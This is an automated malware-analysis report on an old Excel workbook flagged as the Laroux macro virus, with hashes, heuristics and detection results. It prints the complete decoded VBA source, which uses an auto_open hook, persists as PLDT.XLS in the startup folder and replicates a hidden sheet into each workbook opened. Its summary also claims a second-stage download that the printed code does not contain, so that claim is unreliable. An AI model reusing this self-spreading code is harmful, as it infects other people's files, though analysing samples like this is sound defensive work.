Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c87bd6c5926bdf14…

MALICIOUS

Office (OLE)

19.0 KB Created: 2001-03-26 10:23:20 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: f1422491457d3b433fe39ede2234df76 SHA-1: 15616bdd91df1cccf8cd119943aaca06f0ce5bbf SHA-256: c87bd6c5926bdf1411c72d361968283cb6a8f78bddf58aef6d41a1aaf5392d4e
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel 5.0 document containing a VBA macro that is triggered by the 'auto_open' subroutine. This macro attempts to save a file named 'PLDT.XLS' to the startup path, which is a common technique for malware persistence and execution. The presence of 'Laroux' and 'ClamAV detection on extracted artifact' heuristics further indicate malicious intent, likely to download and execute a second-stage payload.

Heuristics 3

  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2099 bytes
SHA-256: 6ea353fbce2c3ddbf7008bd4d8c6cbe00d27c16e5a328d235e9fa2619dc91ee3
Detection
ClamAV: Xls.Trojan.Laroux-28
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "pldt"



Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PLDT.XLS")
    If m$ = "PLDT.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("pldt").Visible = True
    Sheets("pldt").Select
    Sheets("pldt").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PLDT.XLS", FileFormat:=xlNormal _
        , WriteResPassword:=""
    ChDir c4$
    Workbooks(n4$).Sheets("pldt").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "PLDT.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "pldt" Then
        Workbooks("PLDT.XLS").Sheets("pldt").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("pldt").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "PLDT.XLS!check_files"
    Case Else
End Select
End Sub

Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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